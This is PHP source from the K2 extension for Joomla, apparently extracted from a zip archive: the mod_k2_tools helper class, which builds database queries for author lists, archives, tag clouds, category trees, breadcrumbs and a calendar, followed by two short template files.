                $author->latest->link = urldecode(JRoute::_(K2HelperRoute::getItemRoute($author->latest->id.':'.urlencode($author->latest->alias), $author->latest->catid.':'.urlencode($author->latest->categoryalias))));

                $query = "SELECT COUNT(*) FROM #__k2_comments WHERE published=1 AND itemID={$author->latest->id}";
                $db->setQuery($query);
                $author->latest->numOfComments = $db->loadResult();

                if ($params->get('authorItemsCounter')) {
                    if (K2_JVERSION != '15') {
                        $languageCheck = '';
                        if ($app->getLanguageFilter()) {
                            $languageTag = JFactory::getLanguage()->getTag();
                            $languageCheck = "AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
                        }
                        $query = "SELECT COUNT(*) FROM #__k2_items  WHERE {$where} published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") AND created_by_alias='' AND created_by={$row->created_by} {$languageCheck} AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") {$languageCheck} )";
                    } else {
                        $query = "SELECT COUNT(*) FROM #__k2_items  WHERE {$where} published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 AND access<={$aid} AND created_by_alias='' AND created_by={$row->created_by} AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access<={$aid} )";
                    }
                    $db->setQuery($query);
                    $numofitems = $db->loadResult();
                    $author->items = $numofitems;
                }
                $authors[] = $author;
            }
        }
        return $authors;
    }

    public static function getArchive(&$params)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT DISTINCT MONTH(created) as m, YEAR(created) as y FROM #__k2_items WHERE published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access<={$aid} ";
        }

        $catid = $params->get('archiveCategory', 0);
        if ($catid > 0) {
            $query .= " AND catid=".(int)$catid;
        }

        $query .= " ORDER BY created DESC";

        $db->setQuery($query, 0, 12);
        $rows = $db->loadObjectList();
        $months = array(
            JText::_('K2_JANUARY'),
            JText::_('K2_FEBRUARY'),
            JText::_('K2_MARCH'),
            JText::_('K2_APRIL'),
            JText::_('K2_MAY'),
            JText::_('K2_JUNE'),
            JText::_('K2_JULY'),
            JText::_('K2_AUGUST'),
            JText::_('K2_SEPTEMBER'),
            JText::_('K2_OCTOBER'),
            JText::_('K2_NOVEMBER'),
            JText::_('K2_DECEMBER'),
        );
        if (count($rows)) {
            foreach ($rows as $row) {
                if ($params->get('archiveItemsCounter')) {
                    $row->numOfItems = modK2ToolsHelper::countArchiveItems($row->m, $row->y, $catid);
                } else {
                    $row->numOfItems = '';
                }
                $row->name = $months[($row->m) - 1];

                if ($params->get('archiveCategory', 0) > 0) {
                    $row->link = JRoute::_(K2HelperRoute::getDateRoute($row->y, $row->m, null, $params->get('archiveCategory')));
                } else {
                    $row->link = JRoute::_(K2HelperRoute::getDateRoute($row->y, $row->m));
                }

                $archives[] = $row;
            }

            return $archives;
        }
    }

    public static function tagCloud(&$params)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT i.id FROM #__k2_items as i";
        $query .= " LEFT JOIN #__k2_categories c ON c.id = i.catid";
        $query .= " WHERE i.published=1 ";
        $query .= " AND ( i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now)." ) ";
        $query .= " AND ( i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now)." )";
        $query .= " AND i.trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND i.access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
        } else {
            $query .= " AND i.access <= {$aid} ";
        }
        $query .= " AND c.published=1 ";
        $query .= " AND c.trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND c.access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
        } else {
            $query .= " AND c.access <= {$aid} ";
        }

        $cloudCategory = $params->get('cloud_category');
        if (is_array($cloudCategory)) {
            $cloudCategory = array_filter($cloudCategory);
        }
        if ($cloudCategory) {
            if (!is_array($cloudCategory)) {
                $cloudCategory = (array)$cloudCategory;
            }
            foreach ($cloudCategory as $cloudCategoryID) {
                $categories[] = $cloudCategoryID;
                if ($params->get('cloud_category_recursive')) {
                    $children = modK2ToolsHelper::getCategoryChildren($cloudCategoryID);
                    $categories = @array_merge($categories, $children);
                }
            }
            $categories = @array_unique($categories);
            JArrayHelper::toInteger($categories);
            if (count($categories) == 1) {
                $query .= " AND i.catid={$categories[0]}";
            } else {
                $query .= " AND i.catid IN(".implode(',', $categories).")";
            }
        }

        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND c.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") AND i.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        }

        $db->setQuery($query);
        $IDs = K2_JVERSION == '30' ? $db->loadColumn() : $db->loadResultArray();

        if (!is_array($IDs) || !count($IDs)) {
            return array();
        }

        $query = "SELECT tag.name, tag.id
            FROM #__k2_tags as tag
            LEFT JOIN #__k2_tags_xref AS xref ON xref.tagID = tag.id
            WHERE xref.itemID IN (".implode(',', $IDs).")
            AND tag.published = 1";
        $db->setQuery($query);
        $rows = $db->loadObjectList();
        $cloud = array();
        if (count($rows)) {
            foreach ($rows as $tag) {
                if (@array_key_exists($tag->name, $cloud)) {
                    $cloud[$tag->name]++;
                } else {
                    $cloud[$tag->name] = 1;
                }
            }

            $max_size = $params->get('max_size');
            $min_size = $params->get('min_size');
            $max_qty = max(array_values($cloud));
            $min_qty = min(array_values($cloud));
            $spread = $max_qty - $min_qty;
            if (0 == $spread) {
                $spread = 1;
            }

            $step = ($max_size - $min_size) / ($spread);

            $counter = 0;
            arsort($cloud, SORT_NUMERIC);
            $cloud = @array_slice($cloud, 0, $params->get('cloud_limit'), true);
            uksort($cloud, "strnatcasecmp");

            foreach ($cloud as $key => $value) {
                $size = $min_size + (($value - $min_qty) * $step);
                $size = ceil($size);
                $tmp = new stdClass;
                $tmp->tag = $key;
                $tmp->count = $value;
                $tmp->size = $size;
                $tmp->link = urldecode(JRoute::_(K2HelperRoute::getTagRoute($key)));
                $tags[$counter] = $tmp;
                $counter++;
            }

            return $tags;
        }
    }

    public static function getSearchCategoryFilter(&$params)
    {
        $result = '';
        $cid = $params->get('category_id', null);
        if ($params->get('catfilter')) {
            if (!is_null($cid)) {
                if (is_array($cid)) {
                    if ($params->get('getChildren')) {
                        $itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
                        $categories = $itemListModel->getCategoryTree($cid);
                        $result = @implode(',', $categories);
                    } else {
                        JArrayHelper::toInteger($cid);
                        $result = implode(',', $cid);
                    }
                } else {
                    if ($params->get('getChildren')) {
                        $itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
                        $categories = $itemListModel->getCategoryTree($cid);
                        $result = @implode(',', $categories);
                    } else {
                        $result = (int)$cid;
                    }
                }
            }
        }

        return $result;
    }

    public static function hasChildren($id)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $id = (int)$id;
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_categories  WHERE parent={$id} AND published=1 AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        if (count($rows)) {
            return true;
        } else {
            return false;
        }
    }

    public static function treerecurse(&$params, $id = 0, $level = 0, $begin = false)
    {
        static $output;
        if ($begin) {
            $output = '';
        }
        $app = JFactory::getApplication();
        $root_id = (int)$params->get('root_id');
        $end_level = $params->get('end_level', null);
        $id = (int)$id;
        $catid = JRequest::getInt('id');
        $option = JRequest::getCmd('option');
        $view = JRequest::getCmd('view');

        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        switch ($params->get('categoriesListOrdering')) {

            case 'alpha':
                $orderby = 'name';
                break;

            case 'ralpha':
                $orderby = 'name DESC';
                break;

            case 'order':
                $orderby = 'ordering';
                break;

            case 'reversedefault':
                $orderby = 'id DESC';
                break;

            default:
                $orderby = 'id ASC';
                break;
        }

        if (($root_id != 0) && ($level == 0)) {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$root_id} AND published=1 AND trash=0 ";
        } else {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$id} AND published=1 AND trash=0 ";
        }

        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $query .= " ORDER BY {$orderby}";

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        if ($level < intval($end_level) || is_null($end_level)) {
            $output .= '<ul class="level'.$level.'">';
            foreach ($rows as $row) {
                if ($params->get('categoriesListItemsCounter')) {
                    $row->numOfItems = ' ('.modK2ToolsHelper::countCategoryItems($row->id).')';
                } else {
                    $row->numOfItems = '';
                }

                if (($option == 'com_k2') && ($view == 'itemlist') && ($catid == $row->id)) {
                    $active = ' class="activeCategory"';
                } else {
                    $active = '';
                }

                if (modK2ToolsHelper::hasChildren($row->id)) {
                    $output .= '<li'.$active.'><a href="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"><span class="catTitle">'.$row->name.'</span><span class="catCounter">'.$row->numOfItems.'</span></a>';
                    modK2ToolsHelper::treerecurse($params, $row->id, $level + 1);
                    $output .= '</li>';
                } else {
                    $output .= '<li'.$active.'><a href="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"><span class="catTitle">'.$row->name.'</span><span class="catCounter">'.$row->numOfItems.'</span></a></li>';
                }
            }
            $output .= '</ul>';
        }

        return $output;
    }

    public static function treeselectbox(&$params, $id = 0, $level = 0)
    {
        $app = JFactory::getApplication();
        $root_id = (int)$params->get('root_id2');
        $option = JRequest::getCmd('option');
        $view = JRequest::getCmd('view');
        $category = JRequest::getInt('id');
        $id = (int)$id;
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();
        if (($root_id != 0) && ($level == 0)) {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$root_id} AND published=1 AND trash=0 ";
        } else {
            $query = "SELECT * FROM #__k2_categories WHERE parent={$id} AND published=1 AND trash=0 ";
        }

        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $query .= " ORDER BY ordering";

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        if ($level == 0) {
            echo '
<div class="k2CategorySelectBlock '.$params->get('moduleclass_sfx').'">
    <form action="'.JRoute::_('index.php').'" method="get">
        <select name="category" onchange="window.location=this.form.category.value;">
            <option value="'.JURI::base(true).'/">'.JText::_('K2_SELECT_CATEGORY').'</option>
            ';
        }
        $indent = "";
        for ($i = 0; $i < $level; $i++) {
            $indent .= '&ndash; ';
        }

        foreach ($rows as $row) {
            if (($option == 'com_k2') && ($category == $row->id)) {
                $selected = ' selected="selected"';
            } else {
                $selected = '';
            }
            if (modK2ToolsHelper::hasChildren($row->id)) {
                echo '<option value="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"'.$selected.'>'.$indent.$row->name.'</option>';
                modK2ToolsHelper::treeselectbox($params, $row->id, $level + 1);
            } else {
                echo '<option value="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'"'.$selected.'>'.$indent.$row->name.'</option>';
            }
        }

        if ($level == 0) {
            echo '
            </select>
            <input name="option" value="com_k2" type="hidden" />
            <input name="view" value="itemlist" type="hidden" />
            <input name="task" value="category" type="hidden" />
            <input name="Itemid" value="'.JRequest::getInt('Itemid').'" type="hidden" />';

            // For Joom!Fish compatibility
            if (JRequest::getCmd('lang')) {
                echo '<input name="lang" value="'.JRequest::getCmd('lang').'" type="hidden" />';
            }

            echo '
    </form>
</div>
            ';
        }
    }

    public static function breadcrumbs($params)
    {
        $app = JFactory::getApplication();
        $array = array();
        $view = JRequest::getCmd('view');
        $id = JRequest::getInt('id');
        $option = JRequest::getCmd('option');
        $task = JRequest::getCmd('task');

        $db = JFactory::getDbo();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');

        $menu = $app->getMenu();
        $active = $menu->getActive();

        if ($option == 'com_k2') {
            switch ($view) {

                case 'item':
                    if (K2_JVERSION != '15') {
                        $languageCheck = '';
                        if ($app->getLanguageFilter()) {
                            $languageTag = JFactory::getLanguage()->getTag();
                            $languageCheck = " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
                        }
                        $query = "SELECT * FROM #__k2_items  WHERE id={$id} AND published=1 AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") {$languageCheck} AND EXISTS (SELECT * FROM #__k2_categories WHERE #__k2_categories.id= #__k2_items.catid AND published=1 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).")  {$languageCheck} )";
                    } else {
                        $query = "SELECT * FROM #__k2_items  WHERE id={$id} AND published=1 AND trash=0 AND access<={$aid} AND EXISTS (SELECT * FROM #__k2_categories WHERE #__k2_categories.id= #__k2_items.catid AND published=1 AND access<={$aid})";
                    }
                    $db->setQuery($query);
                    $row = $db->loadObject();
                    if ($db->getErrorNum()) {
                        echo $db->stderr();
                        return false;
                    }

                    $matchItem = !is_null($active) && @$active->query['view'] == 'item' && @$active->query['id'] == $id;
                    $matchCategory = !is_null($active) && @$active->query['view'] == 'itemlist' && @$active->query['task'] == 'category' && @$active->query['id'] == $row->catid;

                    if ($matchItem || $matchCategory) {
                        $title = ($matchCategory) ? $row->title : '';
                        $path = modK2ToolsHelper::getSitePath();
                        return array($path, $title);
                    }

                    $title = $row->title;
                    $path = modK2ToolsHelper::getCategoryPath($row->catid);

                    break;

                case 'itemlist':
                    if ($task == 'category') {
                        $match = !is_null($active) && @$active->query['view'] == 'itemlist' && @$active->query['task'] == 'category' && @$active->query['id'] == $id;
                        if ($match) {
                            $title = '';
                            $path = modK2ToolsHelper::getSitePath();
                            return array($path, $title);
                        }


                        $query = "SELECT * FROM #__k2_categories  WHERE id={$id} AND published=1 AND trash=0 ";
                        if (K2_JVERSION != '15') {
                            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
                            if ($app->getLanguageFilter()) {
                                $languageTag = JFactory::getLanguage()->getTag();
                                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
                            }
                        } else {
                            $query .= " AND access <= {$aid}";
                        }

                        $db->setQuery($query);
                        $row = $db->loadObject();
                        if ($db->getErrorNum()) {
                            echo $db->stderr();
                            return false;
                        }
                        $title = $row->name;
                        $path = modK2ToolsHelper::getCategoryPath($row->parent);
                    } else {
                        $document = JFactory::getDocument();
                        $title = $document->getTitle();
                        $path = modK2ToolsHelper::getSitePath();
                    }
                    break;

                case 'latest':
                    $document = JFactory::getDocument();
                    $title = $document->getTitle();
                    $path = modK2ToolsHelper::getSitePath();
                    break;
            }
        } else {
            $document = JFactory::getDocument();
            $title = $document->getTitle();
            $path = modK2ToolsHelper::getSitePath();
        }

        return array(
            $path,
            $title
        );
    }

    public static function getSitePath()
    {
        $app = JFactory::getApplication();
        $pathway = $app->getPathway();
        $items = $pathway->getPathway();
        $count = count($items);
        $path = array();
        for ($i = 0; $i < $count; $i++) {
            if (!empty($items[$i]->link)) {
                $items[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_QUOTES, 'UTF-8'));
                $items[$i]->link = JRoute::_($items[$i]->link);
                array_push($path, '<a href="'.JRoute::_($items[$i]->link).'">'.$items[$i]->name.'</a>');
            }
        }
        return $path;
    }

    public static function getCategoryPath($catid, &$array = array())
    {
        if (isset(self::$paths[$catid])) {
            return self::$paths[$catid];
        }

        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $catid = (int)$catid;
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_categories WHERE id={$catid} AND published=1 AND trash=0 ";

        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }

        foreach ($rows as $row) {
            array_push($array, '<a href="'.urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->id.':'.urlencode($row->alias)))).'">'.$row->name.'</a>');
            modK2ToolsHelper::getCategoryPath($row->parent, $array);
        }
        $return = array_reverse($array);
        self::$paths[$catid] = $return;
        return $return;
    }

    public static function getCategoryChildren($catid)
    {
        static $array = array();
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $catid = (int)$catid;
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_categories WHERE parent={$catid} AND published=1 AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }
        $query .= " ORDER BY ordering ";

        $db->setQuery($query);
        $rows = $db->loadObjectList();
        if ($db->getErrorNum()) {
            echo $db->stderr();
            return false;
        }
        foreach ($rows as $row) {
            array_push($array, $row->id);
            if (modK2ToolsHelper::hasChildren($row->id)) {
                modK2ToolsHelper::getCategoryChildren($row->id);
            }
        }
        return $array;
    }

    public static function countArchiveItems($month, $year, $catid = 0)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $month = (int)$month;
        $year = (int)$year;
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT COUNT(*) FROM #__k2_items WHERE MONTH(created)={$month} AND YEAR(created)={$year} AND published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }
        if ($catid > 0) {
            $query .= " AND catid={$catid}";
        }
        $db->setQuery($query);
        $total = $db->loadResult();
        return $total;
    }

    public static function countCategoryItems($id)
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $id = (int)$id;
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();

        $query = "SELECT COUNT(*) FROM #__k2_items WHERE catid={$id} AND published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 ";
        if (K2_JVERSION != '15') {
            $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
            }
        } else {
            $query .= " AND access <= {$aid}";
        }
        $db->setQuery($query);
        $total = $db->loadResult();
        return $total;
    }

    public static function calendar($params)
    {
        $month = JRequest::getInt('month');
        $year = JRequest::getInt('year');

        $months = array(
            JText::_('K2_JANUARY'),
            JText::_('K2_FEBRUARY'),
            JText::_('K2_MARCH'),
            JText::_('K2_APRIL'),
            JText::_('K2_MAY'),
            JText::_('K2_JUNE'),
            JText::_('K2_JULY'),
            JText::_('K2_AUGUST'),
            JText::_('K2_SEPTEMBER'),
            JText::_('K2_OCTOBER'),
            JText::_('K2_NOVEMBER'),
            JText::_('K2_DECEMBER'),
        );
        $days = array(
            JText::_('K2_SUN'),
            JText::_('K2_MON'),
            JText::_('K2_TUE'),
            JText::_('K2_WED'),
            JText::_('K2_THU'),
            JText::_('K2_FRI'),
            JText::_('K2_SAT'),
        );

        $cal = new MyCalendar;
        $cal->category = $params->get('calendarCategory', 0);
        $cal->setStartDay(1);
        $cal->setMonthNames($months);
        $cal->setDayNames($days);

        if (($month) && ($year)) {
            return $cal->getMonthView($month, $year);
        } else {
            return $cal->getCurrentMonthView();
        }
    }

    public function calendarNavigation()
    {
        $app = JFactory::getApplication();

        $month = JRequest::getInt('month');
        $year = JRequest::getInt('year');

        $months = array(JText::_('K2_JANUARY'), JText::_('K2_FEBRUARY'), JText::_('K2_MARCH'), JText::_('K2_APRIL'), JText::_('K2_MAY'), JText::_('K2_JUNE'), JText::_('K2_JULY'), JText::_('K2_AUGUST'), JText::_('K2_SEPTEMBER'), JText::_('K2_OCTOBER'), JText::_('K2_NOVEMBER'), JText::_('K2_DECEMBER'), );
        $days = array(JText::_('K2_SUN'), JText::_('K2_MON'), JText::_('K2_TUE'), JText::_('K2_WED'), JText::_('K2_THU'), JText::_('K2_FRI'), JText::_('K2_SAT'), );

        $cal = new MyCalendar;
        $cal->setMonthNames($months);
        $cal->setDayNames($days);
        $cal->category = JRequest::getInt('catid');
        $cal->setStartDay(1);
        if (($month) && ($year)) {
            echo $cal->getMonthView($month, $year);
        } else {
            echo $cal->getCurrentMonthView();
        }
        $app->close();
    }

    public static function renderCustomCode($params)
    {
        jimport('joomla.filesystem.file');
        $document = JFactory::getDocument();
        if ($params->get('parsePhp')) {
            $filename = tempnam(JPATH_SITE.'/cache/mod_k2_tools', 'tmp');
            $customCode = $params->get('customCode');
            JFile::write($filename, $customCode);
            ob_start();
            include($filename);
            $output = ob_get_contents();
            ob_end_clean();
            JFile::delete($filename);
        } else {
            $output = $params->get('customCode');
        }
        if ($document->getType() != 'feed') {
            $dispatcher = JDispatcher::getInstance();
            if ($params->get('JPlugins')) {
                JPluginHelper::importPlugin('content');
                $row = new JObject();
                $row->text = $output;
                if (K2_JVERSION != '15') {
                    $dispatcher->trigger('onContentPrepare', array(
                        'mod_k2_tools',
                        &$row,
                        &$params
                    ));
                } else {
                    $dispatcher->trigger('onPrepareContent', array(
                        &$row,
                        &$params
                    ));
                }
                $output = $row->text;
            }
            if ($params->get('K2Plugins')) {
                JPluginHelper::importPlugin('k2');
                $row = new JObject();
                $row->text = $output;
                $dispatcher->trigger('onK2PrepareContent', array(
                    &$row,
                    &$params
                ));
                $output = $row->text;
            }
        }
        return $output;
    }
}

class MyCalendar extends Calendar
{
    public $category = null;
    public $cache = null;

    public function getDateLink($day, $month, $year)
    {
        if (is_null($this->cache)) {
            $this->cache = array();
            $app = JFactory::getApplication();
            $user = JFactory::getUser();
            $aid = $user->get('aid');
            $db = JFactory::getDbo();

            $jnow = JFactory::getDate();
            $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

            $nullDate = $db->getNullDate();

            $languageCheck = '';
            if (K2_JVERSION != '15') {
                $accessCheck = " access IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
                if ($app->getLanguageFilter()) {
                    $languageTag = JFactory::getLanguage()->getTag();
                    $languageCheck = " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") ";
                }
            } else {
                $accessCheck = " access <= {$aid}";
            }

            $query = "SELECT DAY(created) AS day, COUNT(*) AS counter FROM #__k2_items WHERE YEAR(created)={$year} AND MONTH(created)={$month} AND published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0 AND {$accessCheck} {$languageCheck} AND EXISTS(SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND {$accessCheck} {$languageCheck})";

            $catid = $this->category;
            if ($catid > 0) {
                $query .= " AND catid={$catid}";
            }

            $query .= ' GROUP BY day';

            $db->setQuery($query);
            $objects = $db->loadObjectList();
            if ($db->getErrorNum()) {
                echo $db->stderr();
                return false;
            }
            foreach ($objects as $object) {
                $this->cache[$object->day] = $object->counter;
            }
        }
        $result = isset($this->cache[$day]) ? $this->cache[$day] : 0;

        if ($result > 0) {
            if ($this->category > 0) {
                return JRoute::_(K2HelperRoute::getDateRoute($year, $month, $day, $this->category));
            } else {
                return JRoute::_(K2HelperRoute::getDateRoute($year, $month, $day));
            }
        } else {
            return false;
        }
    }

    public function getCalendarLink($month, $year)
    {
        $itemID = JRequest::getInt('Itemid');
        if ($this->category > 0) {
            return JURI::root(true)."/index.php?option=com_k2&amp;view=itemlist&amp;task=calendar&amp;month={$month}&amp;year={$year}&amp;catid={$this->category}&amp;Itemid={$itemID}";
        } else {
            return JURI::root(true)."/index.php?option=com_k2&amp;view=itemlist&amp;task=calendar&amp;month=$month&amp;year=$year&amp;Itemid={$itemID}";
        }
    }
}
PK!�#o,,mod_k2_tools/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!���� mod_k2_tools/tmpl/categories.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2CategoriesListBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $output; ?>
</div>
PK!yr44!mod_k2_tools/tmpl/breadcrumbs.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

$output = '';
if ($params->get('home')) {
    $output .= '<span class="bcTitle">'.JText::_('K2_YOU_ARE_HERE').'</span><a href="'.JURI::root().'">'.$params->get('home', JText::_('K2_HOME')).'</a>';
    if (count($path)) {
        foreach ($path as $link) {
            $output .= '<span class="bcSeparator">'.$params->get('seperator', '&raquo;').'</span>'.$link;
        }
    }
    if ($title) {
        $output .= '<span class="bcSeparator">'.$params->get('seperator', '&raquo;').'</span>'.$title;
    }
} else {
    if ($title) {
        $output .= '<span class="bcTitle">'.JText::_('K2_YOU_ARE_HERE').'</span>';
    }
    if (count($path)) {
        foreach ($path as $link) {
            $output .= $link.'<span class="bcSeparator">'.$params->get('seperator', '&raquo;').'</span>';
        }
    }
    $output .= $title;
}

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2BreadcrumbsBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $output; ?>
</div>
